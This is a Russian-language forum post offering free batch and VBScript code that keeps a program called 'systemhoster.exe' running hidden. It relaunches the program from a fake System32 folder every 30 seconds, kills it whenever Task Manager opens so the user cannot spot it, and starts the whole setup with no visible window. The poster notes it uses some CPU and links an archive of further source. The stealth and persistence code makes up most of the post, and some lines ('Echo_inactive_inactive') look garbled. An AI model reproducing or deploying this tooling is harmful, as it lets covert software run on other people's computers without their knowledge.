скину в личку рабочий код CMD за не надобностью, жрет пару процентов цпу сам раньшге юзал за репу ибо мне он уже не нужен
Echo_inactive_inactive off :start TIMEOUT /T 30 Set ProcessName=systemhoster.exe TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||( Start "" "C:\ProgramData\System32\STARTA.lnk ) goto :start Чекает каждые 30 сек есть ли прога открыта ли она короче Echo_inactive_inactive OFF SET process1=Taskmgr.exe SET process2=systemhoster.exe :loop :start TIMEOUT /T 1 tasklist /FI "ImageName EQ %process1%" | find /I "%process1%" If %errorlevel% NEQ 0 goto :start taskkill /f /im %process2% goto :loop Чекает каждые 2 сек открыт ли дисп и удаляет прогу, с вас репка) код годный и рабочий сливаю ибо перешел на c#
все это дело чтобы невидимо работало делаем через vbs вот код Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "C:\ProgramData\System32\1.cmd" & Chr(34), 0 Set WshShell = Nothing
http://www50.zippyshare.com/v/SIOHccfO/file.html тут все исходники объяснять и тд не буду сами разберайтесь